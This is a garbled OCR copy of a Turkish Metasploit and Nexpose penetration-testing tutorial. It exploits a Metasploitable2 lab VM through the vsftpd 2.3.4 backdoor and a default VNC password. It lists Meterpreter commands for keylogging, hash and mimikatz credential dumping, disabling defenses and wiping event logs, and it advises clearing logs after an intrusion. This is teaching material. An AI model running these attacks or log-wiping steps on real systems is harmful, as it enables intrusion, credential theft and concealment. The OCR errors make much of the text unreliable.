apple_io0s/ browaer 'satari_libtiff 2006- 08- 01 good Apple 10S MobileSafari LibTIFF Buffer Owverflow

apple_ 1os,emall ‘mobilemail libtiff 2006-08- 01 good Apple 105 MobileMail LibTIFF Buffer Overflow
apple_ios/ssh/cydia_default_ssh 2007-07-02 excellent Apple 105 Default SSH Password Wulnerability
bsdi/softcart/mercantec_softcart 2004-08-19 great Mercantec SoftCart CGI Owverflow

dlalup,multl logln manyargs 2001-12-12 good System V Derived /bin/login Extraneous Arguments Buffer Overflow
firefox/local/exec_shellcode 2014-03- 10 normal Firefox Exec Shellcode from Priwvileged Jawvascript shell
freebsd/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer overflow (FreeBsD)
freebsd/http/watchguard_cmd_exec 2015- 06- 29 excellent Watchguard XCS Remote Command Execution

freebsd/local /mmap 2013-06-18 great FreeBsSD 2 Address Space Manipulation Privilege Escalation
freebsd/local /watchguard_fix_corrupt_mail 2015- 06- 29 manual Watchguard XCS FixCorruptMail Local Privilege Escalation
freebsd/misc/ertrix_netscaler_soap_bof 2014-09-22 normal Citrix MetScaler SOAP Handler Remote Code Execution
freebsd/samba/trans2open 2003- 04- 07 great Samba transZopen Overflow (*+BSD x85)
freebsd/tacacs/xtacacsd_report 2008- 01- 08 average XTACACSD report() Buffer Overflow
freebsdstelnet/telnet_encrypt_keyid 2011-12-23 great FreeBsD Telnet Service Encrypticon Key ID Buffer overflow
hpux/lpd/cleanup_exec 2002- 08- 28 excellent HP-UX LPD Command Execution

irix/Llpd/ tagprlnter exec 2001-09-01 excellent Irix LPD tagprinter Command Execution

llnux ‘antivirus/escan_password_exec 2014- 04- 04 excellent eScan Web Management Console Command Injection

llnux'br0w;er adobe_fla;hplayer_a;launch 2008-12-17 good Adobe Flash Player ActionScript Launch Command Execution Vulnerability
linux;ftp{proftpisreplace 2006-11- 26 great ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
Linux/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
Linux/games,/ut2004_secure 2004- 06- 18 good Unreal Tournament 2004 "secure" Overflow (Linux)
linux/http/accellion_fta_getstatus_. oauth 2015-07- 10 excellent Accellion FTA getStatus wverify scauth_token Command Execution
linux/http/advantech switch_bash_env_exec 2015-12-01 excellent Advantech Switch Bash Environment Variable Code Injection (Shellshock)
linux/httpsairties_login_cgi_bof 2015- 03- 31 normal Airties login-cgi Buffer Overflow
Linux/httpsalecatel_omnipcx_mastercgl_exec 2007-09- 09 manual Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
llnux,http falienvault sqli exec 2014-04- 24 excellent AlienVault 0OSSIM SQL Injection and Remote Code Execution
linux/http/astium_sqli_upload 2013-09-17 manual Astium Remote Code Execution

Linux/httpsbelkin_login_bof 2014-05- 09 normal Belkin Play N750 login.cgi Buffer overflow
linux/http/centreon_sqli_exec 2014- 10- 15 excellent Centreon SQL and Command Injection

llnux,http,cfme manageiq_evm_upload_exec 2013-09- 04 normal Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal
linux/http/ddwrt_cgibin_exec 2009- 07- 20 excellent DD-WRT HTTP Daemon ﬁrbltrary Command Execution
linux;httpfdlink_authentication_cgi_bof 2013- 02- 08 normal D-Link authentication.cgi Buffer Owverflow

Linux/httpsdlink command php exec noauth 2013-02-04 excellent D-Link Devices Unauthenticated Remote Command Execution



& i - m ﬁ u [ systermnct| start postgres...
s

payloads

Mame

aix/ppcsshell_bind_tep
aix/ppcs/shell_find_port
aix/ppcsshell_interact
alx/ppcsshell_reverse_tcp
android/meterpreter/reverse_http
android/meterpreter/reverse https
android/meterpreter/reverse tcp

android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tecp
bsd/sparc/ 'shell_bind _tep
bsd/sparc/shell_reverse_tcp
bsd/x64,

Jexec
shell_bind_ipv6E_tep
shell_bind_tcp
shell_bind_tcp_small
hell_reverse_ipv6_tcp
shell reverse tcp
/shell_reverse_tecp_small
b:d /xB6/exec

S/metsve_bind_tcp

bsd/x86/ 'shell/bind |_ipvE_tecp
shell/bind_tep
shell/find_tag
shellfreverse_ipu@_tcp
shell/reverse_tcp
shell_bind_tcp

shell bind tcp_ipvs
shell find port

shell _find_tag
shell_reverse_tcp
shell_reverse_tcp_ipvE

rbind_awk

cmd/ unlx

Disclosure Date

Rank

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

Description

ATX
AT X

command shell,
Command shell,

Bind TCP Inline
Find Port Inline

AIX execve Shell for inetd

ALK

Android
Android
Android
Command

Command
Cemmand

BSD
BSD
BsD
B
ESD
BsSD
ESD
BsSD
BsD
BsD

FreeBsD

) x64

Command shell,

1d Meterpreter
Meterpreter
Meterpreter
shell, Dalw
shell, Dalw
Shell, Dalw
Command shell,

Command shell,

x 64

Command She
xE4
x64 Command She
x64 Command e
x64 shell Rever
x64 Command She
Execute Command
Meterpreter

FreeBsSD Meterpreter

BSD1
BSD1
BSD1
BESD1
BSD1
Unix

shell,
shell,
shell,
shell,
shell,
shell,
shell,
shell,

Command
mmand
mmand
—ommand
Command
ommand
ommand
mmand
mmand
mmand
Command S
Command

Command Shell,
Command Sl
Command =
Command Shell,
Command sShell,

Inline

erse HITP Stager
, Dalvik Reverse HITPS Stager
, Dalvik Reverse TCP Stager
1k Reverse HTTP

Reverse TCP
, Dalvik Rew

/1k Reverse HTTPS Stager

1k Reverse TCP Stager
Bind TCP Inline
Reverse TCP Inline

Execute Command

11, Bind TCP Inline (IPvE&)

shell Bind TCP

11, Bind TCP Inline

11, Rewverse TCP Inline (IPv&)
5el e

11, Reverse TCP Inline

Bind TCP
Reverse TCP Inline
Stager (IPw&)
Bind TCP Stager

Find Tag Stager

Reverse TCP Stager (IPv6)
Reverse TCP Stager

Bind TCP Inline

Bind TCP Inline (IPv&)
Find Port Inline

Find Tag Inline

Reverse TCP Inline
Reverse TCP Inline (IPvE)
Bind TCP Stager

Reverse TCP Stager

Bind TCP Inline

Find Port Inline
Reverse TCP Inline

Bind TCP (via AWK)

Serv
Sarv
Bind

Sige:,
ice,
Tep




Temel Metasploit Kullanima

use Komutu
Istenilen exploiti yada payload 1 se¢mek icin kullanilir.

use <exploit_adi> use <payload_adi>
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- m m n [ systemctl start postgres...

B root 04:13, 2016—0?—26“

m > search Rt

Matching Modules

Name Disclosure Date Rank

exploit/unix/ftp/vsftpd_234 backdoor 2011-07-03 excellent

msf > use exploit/unix/ftp/vsftpd_234 backdoor
msf exploit({vsftpd_234 backdoor) =

Description

.3.4 Backdoor Command Execution



Temel Metasploit Kullanim

set Komutu
Bir degiskene deger aktarmak icin kullantlir.
set RHOST <hedef (kurban)_ip_adresi>

set LHOST <local (kendi)_ip_adresimiz>
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\ = . m m n [ systemctl start postgres... " [ root 04:17, 2016—0?—26“
i

Matching Modules

Mame Disclosure Date Rank Description

exploitsunix/ftps/vsftpd_234 backdoor 2011-07-03 excellent 2.2.4 Backdoor Command Execution

msf = use expl-:-lt unLx 'Ftp-"- S'Ftpd 234 backdoor
msf exploit(vs i : ( = show options

Module opticns (exploit/sunix/ftp/vsftpd_234 backdoor):

Name Current Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port

Exploit target:

Id Mame
o] Automatic

mst exploit(vstt 234 _back r) = set RHOST 192.168.237.169
OST == 192.168.237.169 _

msf exploit{vsftpd_234 ba ) > show options

Module opticns (exploit/sunix/ftp/vsftpd_234 backdoor)

Name Required Description
RHOST yes The target address
RPORT yes The target port

Exploit target:
Id MName

o Automatic

msf exploit( tpd_ oor) > i



Temel Metasploit Kullanim

setg Komutu

Degiskenlere global olarak deger atar.Her bir baska exploit yada payload ta o
degiskene yeniden deger girmeniz gerekmez.

setg RHOST <hedef_ip>: RHOST degiskenine global deger atar.

setg LHOST <local_ip> : LHOST degiskenine global deger atar.
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Temel Metasploit Kullanim

unset Komutu
Degiskene aktarilan degeri iptal eder.
unset LHOST : LHOST degiskeninin degerini iptal eder.

unset RHOST : RHOST degiskeninin degerini iptal eder.
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\ = - m m n [ systemctl start postgres...
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B root oa:22, 2016—0?—26“

Exploit target:

Id MName

0 Automatic

J = set RHOST 192.188.237.169

3. 237.169

)} = show options

Module opticns (exploit/sunix/ftp/vsftpd_234 backdoor):

Name Current Setting Required Description
yes The target address
yes The target port
Exploit target:
Id Mame
o] Automatic
msf exploit(wstt 234 _back r) = unset RHOST
Unsetting RHOST... -
msf exploit{vsftpd_234 ba ) > show options

Module opticns (exploitsunix/ftp/vsftpd_234 backdoor):

Name Current Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port

Exploit target:
Id MName

o Automatic

msf exploit( tpd_ oor)



Temel Metasploit Kullanim

exploit ve run Komutu

Eger bir exploit se¢mis ve show options komutundan sonra istenilen
degerleri set komutu ile girildikten sonra exploit denir ve exploit calistirilir,

Eger bir payload secmis isek yine show options komutu girilir ve istenilen
deger yine set komutu ile girildikten sonra run denir ve payload calistirilir.
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[ root 02:56, 2016—0?—2?E E=

[ armitage

[ Connect...

N mEF0

root: 1# armitage

[
]

nnect | | Help |




\ - m ﬁ n & Armitage [F] armitage [J root 02358, 2016—0?—2?“

192.168.237.129




Meterpreter,Metasploit'in en ¢ok kullanilan payloadlarindan biridir.

Bir sistemde exploit calistirdiktan sonra meterpreter satirina dustukten sonra
meterpreter komutlari kullanilir,

sysinfo : Sistem hakkinda bilgi verir.
getuid : Sisteme hangi yetkilerle erisim sagladigimizi verir.
getpid : Sistem PID numarasini getirir.

ipconfig -a : Sistemin Network bilgilerini getirir.

3 1d
: uid=110, ¢
o1d




Temel Metasploit Kullanim1 | Meterpreter

run checkvm: Hedef makinanin sanal makina olup olmadigina bakar.

run keylogrecorder : Hedef sistemde keyloger baslatir.

run getgui -e : Hedef sistemde RDP(Remote Desktop Protocol) acar.

run getcountermeasure : Hedef sistemdeki guvenlik programlari devre disi kilar.
backgraund : Aktif sessioni arka plana alir.

ps: Surecleri gosterir.

kill PID : PID numarali stureci oldurur.
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Temel Metasploit Kullanim1 | Meterpreter

download: Hedeften dosya indirmek i¢in kullanilir.

migrate : Guvenilir bir process’e gecis yapmak igin kullanilir.

hashdump : Sistem Uzerinde bulunan parola dumplarini ¢eker.

Shell : Hedef sistemin komut satirina gegmemizi saglayan komut.

load mimikatz : Sisteme mimikatz yuklenir.

mimikatz_command —f sekurlsa::searchPasswords : Bellekteki sifreleri getirir.
clearev : Eventloglari temizler.

run event_manager -c : Tum eventloglari silmemizi saglar.
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Temel Metasploit Kullanim1 | Meterpreter

Daha bir cok meterpreter komutu bulunmaktadir.En ¢ok kullanilanlara deginmeye calistim.

Sizma testinin asil amaci unutulmamalidir sisteme zarar vermeden ele gecirilen tum bilgiler ekran
goruntuleri alinarak sifreler not alinarak kullaniciya rapor sunmaktir.

Sisteme sizip hakkinda yeterli bilgi toplandiginda mutlaka sistemden cikis yapilmali ve loglar
temizlenmelidir.
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Temel Metasploit Kullanim

Temel Metasploit komutlarina ve kullanimlarina degindik daha detayli Metasploit
0grenmek isteyenler icin

http://gamasec.net/files/msf1.0.pdf

nttp//www.bga.com.tr/calismalar/MetasploitElKitabl.pdl pdflerine bakabilirler.
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Aciklik Tarama Araclari ve Kullanimi

Aciklari taramak icin Networkte Nessus ve Nexpose gibi araclar
bulunmaktadir.Web acikliklari icin Netsparker ve Acunetix gibi tarama
araclari bulunmaktadir.Bu dékiimanda ben Nexpose ile aciklik
tarayacagim.Nexpose Rapid7 tarafindan gelistiriimekte ve Metasploit ile
entegre olabilmektedir.Asagidaki linkten Nexpose'u indirip kurabilirsiniz.

https://www.rapid7.com/products/nexpose/compare-downloads.jsp

Nexpose un Ucretli ve Ucretsiz iki sirimu var istediginiz striimi kurduktan

sonra adresinden Nexpose'un arayuzune
ulasabilirsiniz.
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Aciklik Tarama Araclari ve Kullanimi

Program kurduktan sonra kurulumda olusturdugunu username ve password giriyoruz.

FD» Log on to Mexpose >

<« c .|“3‘b-t-t{fé:_.-—'_.-"loca!host3?8C=_.—"I:3gin._isp B <7 O =2 =

nexpose

community

RAPIDF»



Aciklik Tarama Araclari ve Kullanimi

Giris yaptiktan sonra Create diyip Site ye tiklayarak Info & Security kisminda
tarama adini verip Assets kisminda hedef IP bilgisini girerek diger adimlarida
sira ile kontrol edip uygun tarama seceneklerini secip Save & Scan
secenegine tikliyoruz.Bu asamada sunumun basinda kurdugumuz gtvenlik
aciklar barindiran Metasploitable 2 adli sanal makinayi aciyoruz ve onun IP
adresini veriyoruz.Ve uzerinde bulunun aciklari Nexpose tarama sonuclarinda
gorebilirsiniz,

Ahmet Giirel | www.gurelahmet.com



Aciklik Tarama Araglari ve Kullanimi

F) Nexpose Security Console X

<« C' | B batps://localhost:3780/scan/config.jsp#/scancon

nexpose community Create A

Asset Group
Dynamic Asset Group
Site Configuratio s . . -

Tags

0) = & O E]

INFO & SECURITY AUTHENTICATION TEMPLATES ENGINES ALERTS SCHEDULE

GENERAL -

ORGANIZATION

ACCESS

Importance

Description

User-added Tags @

CUSTOM TAG LOCATIONS OWNERS CRITICALITY

MNone None None None

Add tags




Aciklik Tarama Araclari ve Kullanimi

nexpose’ community Create

Site Configuration ; | | omen |

0) o b =l

INFO & SECURITY AUTHENTICATION ENGINES SCHEDULE

Assets | Dosya Seg | Dosyz segilmedi Assets | Dosya _S_e_?_'! Dosya segilmedi

192.168.237.129 x WL

Asset Groups Asset Groups




Aciklik Tarama Araglari ve Kullanim

nexpose

Site Configuration

®

INFO & SECURITY AUTHEMTICATION ENGINES SCHEDULE

SELECT SCAN TEMPLATE Selected Scan Template: Full audit without Web Spider

o)
o

Mame ~ Aezet Discovery Servige Diszovery Source

Denial of service CME TCP UDP Defzult TCR Default..

&

Discovery Scan CMFP TCF, UDP ... Disabled

Digcovery Scan - Aggressive CMP. TCP UDP Custom TCP Custom...  Disabled

s ea

Exhaustive ICMF. TCP, UDP Full TCF, Default UDF

Full audit ICMR TCR UDF Defzult TCF Default..

&

Full audit enhanced logging without Web Spider CMP TCP, UDP Default TCR, Defaulkt ..

=

i

Full audit out Wehb Spider CMP TCF UDP Default TGR Defaule ..
HIF&A compliance CMP. TCP. UDP Default TCP Defaulkt...

o7

Internat DMZ audit Disabled Default TGP

Linux RPMs CMP. TCP, UDP Cugtom TCP




Aciklik Tarama Araclari ve Kullanimi

nexpose community Create

Site Configuration

INFO & SECURITY AUTHENTICATION ENGINES SCHEDULE

SELECT SCAN EMGINE
Scan each asset with: )

* Engine selected below Engine most recently used for that asset

Selected Scan Engine: Local scan engine

Name A
' Soan Engines (2 )

Local scan engine

Rapid? Hosted Scan Engine



Aciklik Tarama Araclari ve Kullanimi | Tarama Sonuglari

nexpose cormim \ Create

Tarama | view all sites

g
192 168237 120 o rf'u B RISK SCORE @ USER-ADDED TA
O0:0C:29:FADD:2A CPE cpe:/o:canonicalubunty_linux:E.0d:-ts ORIGIMAL
= METASPLOITABLE, Jul 22, 2016 5:52:19 AM (4 hours ago) ‘l 79.,9“] 9
- metzsploitable localdomain,

metzsplotable a

IE Guest MEXT SCAM Mot zet

CRITICALITY

Nle e
None

ZTE Tarama

TRENDS  Risk Over Time

22.07.2016
Risk score: 179,919
"

0

Risk Score



Aciklik Tarama Araclari ve Kullanimi | Tarama Sonuclari

Create

VULNERABILITIES

2. ar

he top rew and use Select Visibl | all selections using Cl

yed displayed v

ated with published exploit

EXCLUDE RECALL RESUBRIT
O Title ﬁ s | CWs3 Risk Published On Madified On Severity v Instances Excepiions
SC BIND: inet_ verflow (CVE-2008-0122) 10 864 TueJan 132008 Fri Feb 13 2015 Critical 2
Samba NOR Parsing Heap O ww Wulnerability @ 10 Mion May 14 2007 Fri May 27 2016 Critical 2 @ ¥
PHP Vulnerability: CVE-2015-4602 [ 648 Nhon May 162016 Mon Jun 20 2076 Critical 1 @ =
PHF Vulnerabi 10 548 Mon May 162016 Mon Jun 20 2016 Critical 1 @ Exclude
PHP Vulner 10 548 Mon May 16 2016 Men Jun 20 2015 Critical 1 @ Seclude
BHP Yulnerat 2015-4601 10 648 Mon May 162016 Men Jun 20 2016 Critical 1 @ eclude
2015-4599 10 648 Non May 162016  Mon Jun 20 2016 Critical 1 @ Exclude
10 548 Mon May 16 2016 Fri Jun 03 2016 Critical 1 @ Exclude
10 648 hon May 162016 FriJun03 2016 Critical 1 @ Exclude
10 768 Mon May 06 2013 Mon Oct 05 2015 Critical 1

: = = P . s T 4 -
Showing 1 to 10 of 420 o Export to OS5V Rows per page:| 10 of 42



Aciklik Tarama Araclari ve Kullanimi | Tarama Sonuclari

nexpose community Create

EXPLOITS

Exploit

Samba "usermame map script” Command Execution

Tomeat Application Manager Login Utility

Szmba | _trans_names Heap Overflow

rsh Authentication Scanner

MySCL yaSSL S5L Hello Message Buffer Overflow

DMS BailiWicked Host Attack

MySCL yaSsL CertDecoder-Getiame Buffer Ovarflow

Apache Tomcat Manager Authenticated Upload Code Execution

Source Link

@ Metasploit

Maodule

@ hetasploit

Maodule

tasploit
Maodule

Madul

Diescription

Thiz module exploits & command execution vulerability in Samba versions 3.0.20 through 3.0.25rc3 when using
the non-default "username map script gurstion option. By speci g & usemname conta

characters, antackers can executs arbitrary nmands. Mo authentication is needed to explait thi

since this option is used to map usernames prier to authentication!

This module simply attempts to login to & Tomsat Application Manager instance using a spesific user/pass.

maodule triggers a heap overflow in the LS4 RPC service of the Samba dasmon. This module uses the
LOC chunk overwrite method [ wen and Adrianc), which only works Samba versions 3.0.21-
3.0.24. Addironally, this module will wark when the Samba “log level” parameter is higher than "2".
This module will test a shell (rsh) service on a range of machines and report successful logins. NOTE: This
madule requires access to bind to privileged ports (below 1024)

Thiz module exploits & stack buffer over the yaSSL (1.7.5 and earlier) implementation bundled with MyS0OL
0. By sending a specially crafted Hello packet, an atacker may be able 1o execuie arbitrary code.

Thiz exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclozed
~Jul 2008. This expleit caches a single malicious host entry into the target nameserver by sending random
hestname queries 1o the target NS server coupled with spocfed replies to those queries frem the authoritative
nameservers for that domain. Eventually a guessad ID will match, the spa packet will get accepted. and dus
o the ad nal hostname entry being within bailiwick constraints of the criginal request the m us host entry

will get cached.

This module exploits a stack buffer overflow in the yaSEL (1.9.8 and earlier) implementation bundled with MyS0L.
By sending a specially crafted client certificate, an attacker can sxecute arbitrary code. This vulnerability is
present within the CertDecoder:Gethame function inside "taccrypti/src/asn.cpp’. However, the stack buffer that is
written to exists within a parent function's stack frame. NOTE: This vulnerability requires a non-defaul
configuration %, the attacker must be able to pass the host-based authentication. Next, the server must be
configured to n on an accessible network rface. Lastly, the server must have been manually configured to
use S5L. The binary from version 5.5.0-m2 was bail 'GS and /SafeSEH. During testing on Windows XP 5P3,
these protections successfully prevented exploitation. Testing was also done with myagl on Ubunw .04
Although the vulnerable code is present, both version 5.5.0-m2 buil from source and version 5.0.75 from a binary
package were not exploitable due to the use of the compilar's FORTIFY feature. Although susei 1 was mentioned
in the original blog past, the binary package they provide does not contain yaSSL or support SSL.

Thizs module can be used to execute a payload on Apache Tomeat servers that have an exposed 'manager’
application. The payload is uploaded 25 2 WAR archive contzining 2 jep application using a POST request against

the /manager/html/upload component. MOTE: The compatible payload sets vary based on the selected target. For



Aciklik Tarama Araclari ve Kullanimi | Tarama Sonuclari

nexpose comim - Create

SCAN HISTORY
Marme Opersting System i Vulnerzbilities  Scan Duration Scan Engine

METASPLOITABLE Uburtu Linux .04 I 420 6 hours, 29
minutes

Showing 1 1o 1-of 1 | E}E«pen o G5V Rows per page: 10

INSTALLED SOFTWARE

Software A

Player

SERVICES

Service Mame Product Vulnerabilitias Users Groups
veFTPd 2.2.4

OpenS5H 4.7p1

Postfix

BIND 9.£2
DS BIND 9.4.2
HTTP HTTFD 228

portmapper




Aciklik Tarama Araclari ve Kullanimi | Tarama Sonuclari

nexpose’

USERS AND GROUPS
- Mame
a0 Everycne

_\.3"-) Metwark Service

J

‘.'_;-"- Proxy

£y
.

_j-'; Batch

a.'-’p ServerLogeon

;\,:'r Authenticated Userz

& Dislup

£ Terminal Server User

G Remaote Interactive Logon
5‘-‘; This Drganization

Showing 1 to 10.0f 95 Rows per page: 10 1 of 10

DATABASES

Datzbasze Mame
dvwa
infermation_schema
metasploit

mysg|



Aciklik Tarama Araclar1 ve Kullanim1 | Analiz

Nexpose Taramasinin nasil yapilacagini ve sonuclarini gormus olduk.Portlar
Uzerinde calisan servisler,databaseler,userlar barindirdigi acikliklar ve bunlarin
metasploit Uzerinde bulunan modullerine kadar tim herseyi getirdigini
gorduk.Bundan sonrasi hedef sistem Gzerinde bulunan acikliklar dogrulamak
olan aciklari denemek ve sisteme sizmaya calismaktir.Bu kisimdan sonra artik
Lab ortamimizda uygulamali olarak sizma islemi gerceklestirecegiz bir sisteme
sizmaktaki hedef o sistemde yetkili kullanici olup her seye erisim
saglamaktir.Bu 6rnek makina linux oldugu icin hedefimiz root olmaktir.

Ahmet Giirel | www.gurelahmet.com



S1zma Testi Ornekleri (Metasploitable2)

Suana kadar temel bir sizma testi icin gerekli olan adimlari inceledik.Bu kisimda
Nmap ile yaptigimiz port taramasinda hangi portta hangi uygulamanin hangi
versiyonu calisiyor bunlari google da aratarak exploit-db de aratarak bilinen bir
aciklik var mi? Sisteme sizabilecegimiz bir sey var mi detaylica incelememiz
gerekir.

Bunun diginda aciklik tarama araglarinin bize gosterdigi sonuclardan
ilerleyebiliriz.Nexpose,Nessus,Netsparker ve Acunetix gibi araglar sizma testinde
buyuk yarar saglamaktadir.

Ahmet Giirel | www.gurelahmet.com
s



S1zma Testi Ornekleri (Metasploitable2)

Bu nexpose ¢iktisinda VNC nin gifresinin password oldugunu soylemektedir.
& = 0O | &) sertifika hatasi  localhost:2

nexpose’ Create

Exposures: &;}- Susceptible to malware attacks ly Metaspi le | Validated with Metasploit J. Exploit published <%y Validated with published exploit

EXCLUDE RECALL RESUEMIT
i:! ¥ his r_lj?_'- -5 CVSS Risk Published On Meodified On Severity v Instances Exceptions
VNC password is "password” 10 990 FriJan 0T 1999 Tue Dec 03 20713 Critical 1 @ Exclude
Shell Backdoor Service 10 919 Thu Jan 07 1970 Tue Jul 29 2074 Critical 1 @ Exclude
A’;‘J MySQL Obsolete Version 10 869 Wed Jul 25 2007 Thu Jul 10 2014 Critical 1 @ Exciude
Obsolete Version of PHP 10 869 Wed Jul 25 2007 Tue Jul 12 2016 Critical 1 @ Exclude
Vhdware Player: Hosted products DHCP security vulnerabilities 10 868 FriSep 21 2007 Fri Feb 13 2015 Critical 1 @ Exclude
addressed (VMSA-2007-0006) (CVE-2007-0061)
= Viiware Player: Hosted products DHCP security vulnerabilities 10 868 Fri Sep 21 2007 Fri Feb 13 2015 Critical 1 @ Exclude
addressed (VMSA-2007-0006) (CVE-2007-0063)
VMiware Player: Hosted products DHCP security vulnerabilities 10 868 Fri Sep 21 2007 Fri Feb 13 2015 Critical 1 @ Exclude
addressed (VMSA-2007-0006) (CVE-2007-0062)
PHP Multiple Vulnerabilities Fixed in version 5.2.6 10 861 Mon May 05 2008 Fri Feb 13 2015 Critical 1 @ Exclude
PHP Muitiple Vulnerabilities Fixed in version 5.2.8 7 10 61 Mon May 05 2008 Mon hMay 30 2016 Critical 1 @ Exclude
PHP Vulnerability: CVE-2008-2051 10 861 Mon May 052008  Fri Feb 132015 Critical 1 @ Exciude

of 42

=

Showing 1 to 10.of 420 | % Export to CSV Rows per page:



Terminale vncviewer 192.168.237.129 yazip sifreyide password olarak girip sisteme giris yapabiliriz.
27 2015-0?-25

[ IS el

' root@metasploitable: / !E‘%

rootBmetasploitables # uname —a
Linux metasploitable 2,6,24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 iB8E GMUALirnux
root@Bmetasploitables /# pz
PID TTY TIME CHD
G226 pted) 00300300 bash
5301 ptss0 00100100 ps
rootBmetasploitables # whoami
root
root@metasploitabless# [




Port taramasinda 21.portta FTP vsftpd 2.3.4 surimunun ¢alismakta oldugu gorunmekte.Bunu google
aramasi ile yada Nmap scriptleri ile bir backdoor exploitinin oldugunu gormekteyiz.Metasploit ile sisteme
sizabilmekteyiz.

# nmap --script -V d-backdoor -p 21 192.188.237

Starting MNmap 7.01 ( https://nmap.org J at 2016-07-23 11:56 EOT
Nmap scan report for 182.168.237.129
Host 1s up, received arp-response (0.00018s latency)
FORT STATE SERVICE REASON
21l/tcp open ftp syn-ack ttl 64
ftp-vsftpd-backdoor:
VULMNERAELE:
vsFTPd version 2.3.4 backdoor
State: VULNERABLE 'E:-c|h1_ﬁi1:al:u1_e'I
IDs . BEVDR:Z3573 CMEICVE- 2J11 2523
vSFTPd version 2.3.4 backdo -, this was reported on 2011-07-04.
Disclosure date: lel 07-03
Exploit results:
Shell command: id
Results: uid=0(root) gid=0(root)
References:
http://scary beaataeuu|1t, bloqapot com/2011/07/alert-vsftpd-download-backdoored.html
https://cve.mitre.org/cgl-binfcvename. rq17nam¢—dlE 2011-2523
http: v :
http“'f ulthub com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vs
2*4_buckd Bl
Address: GO:OC:EQ:FA:DD:EA (VMware)




[ root 14:30, 2016—0?—26“

http://metasploit.pro

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- Llearn more on http://rapid7.com/metasploit
metasploit v4.11.5- 2016010401 ]
1517 exploits - 875 auxiliary - 257 post ]
437 payloads - 37 encoders - 8 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]

R
[N

msf = search vsft

Matching Modules

MName Disclosure Date Rank Description
exploit/unix/ftp/vsttpd_234 backdoor 2011-07-03 excellent VWSFTPD v2.3.4 Backdoor Command Execution
msf = use exploit/unix/ftp/vsftpd_234 backdoor
mst exploit(vsft 4 k 1 = show options

Module epticns (expleoit/unix/ftp/vsftpd_234 backdoor):

Mame Ccurrent Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port

Exploit target:

Id MName

e} Automatic

msf exploit{vsftpd_: I cdoor) = [



msf exh101t(

.\ | m ﬁ u ] systermnctl| start postgres...
=

how options

Module eptions (exploit/unix/ftp/wvsftpd_234 backdoor):

Mame Current Setting

Exploit target:

Id MName

e} Automatic

msf exploit(

FHOST == 15Z2.1
msf exploit(vsft
Banner: 220
USER:
Backdoor

[%]
[*]

Found shell.

Command shell session 1 opened (192.168.237.128:46275 -=

uname -a

Linux metasploitable 2.6.24-16-server

ps aux

[W=1=2 PID =CPU

root
root
root
root
root
root
root
root
root
root
root
root
root

N

= set RHOST 192.168

(vsFTPd 2.3.4)

1 Please specify the password.

service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)

*

M=

[o]
[cNeloloNoNoRoNoNoNoN ool

N
[cNoRoloNoNoNoloNoNoNoNol S|

=

a
0

i
(cfoRoNoRoNoNoRoRoN o ol oN BT
] ead wad wa) ) en] end wnd en) exd ed end

[oNoNoRoNoRoNoRoNoRoNoNoNol

[cNoNoRoNoNoNoRoNoRoNoNoNol

[cNoNoNoRoNoNoRoNoNoN ool

Description

The target address
The target port

= explolt

#1 SMP Thu Apr 10 13:58:00

TN

-

w
N
w
bl
5
i8]
0

[oNoNoRoNoRoNoRoNoRoNoNoNol

192.168.237.129:6200) at 2016-07-26 14:30:52

UTC 2008 1686 GNU/LI1nNux

COMMAND
Jfsbin/init
[kthreadd]
[migration/o]
[ksoftirgdso]l
[watchdog/a]
[events/ /0]
[khelper]
[kblockd/a]
[kseriod]
[pdflush]
[pdflush]
[kswapdo]
[aio/0]




S1zma Testi Ornekleri (Metasploitable2)

Yine Nexpose tarama sonucunda bize MySQL veritabaninda default kullanici adi
root ve bos sifre kullanildigini soylemektedir.Kullanici adi ve sifresi bilinen bir
veritabanina sizmak icin birden fazla senaryo dusubulebilir.Biz metasploit
auxiliary moduli kullanarak veritabani sorgusu calistiracagiz.Ornek bir SQL
sogusu calistiracagiz farkli bir cok SQL sorgusu calistirabiliriz.

Ahmet Giirel | www.gurelahmet.com



S1zma Testi Ornekleri (Metasploitable2)

& - O | @ Sertifika hatasi  localhost:2

nexpose’

EXCLUDE RECALL RESUEMIT
D *  Title r_{‘i} -5 CVss Risk Publizshed On Modified On Severity v Instances Exceptions
ViMware Player: Viviware host memony overwrite vuinerability g 586 Fri May 04 2012 Thu Feb 132014 Critical 1 @ Exclude
(function pointers) (VMSA-2012-0009) (CVE-2012-1517)
VMware Player: ViMware host memory overwrite vulnerability (data 9 596 Fri May 04 2012 Mon Sep 29 2014 Critical 1 @ Exclude
pointers) (VMSA-2012-0009) {CVE-2012-1516)
& /RS
Vhware Player: VMware SCSI device unchecked memory write g 596 FriMay 04 2012 Mon Sep 29 2014 Critical 1 @ Exciude
(VMSA-2012-0009) (CVE-2012-2450)
Obsolete I1SC BIND installation 9.3 B07 Wed Jul 25 2007 Thu Aug 14 2074 Critical 2 @ Exclude
Samba reply_netbios_packet Nmbd Buffer Overflow 9.3 800 Thu Mov 15 2007 Fri Feb 13 2015 Critical P @ Exclude
Samba GETDC Mailslot Processing Buffer Overfiow In Nmbd 9.3 800 Thu Mov 15 2007 Fri Feb 13 2015 Critical 2 @ Exclude
Samba send_mailslot GETDC Buffer Overflow b 9.3 798 Mon Dec 10 2007 Fri Feb 132015 Critical 2 @ Exclude
ISC BIND: Handling of zero length rdata can cause named to 8.5 638 Mon Jun 042012 Fri Feb 13 2015 Critical 2 @ Exciude
terminate unexpectedly (CVE-2012-1667)
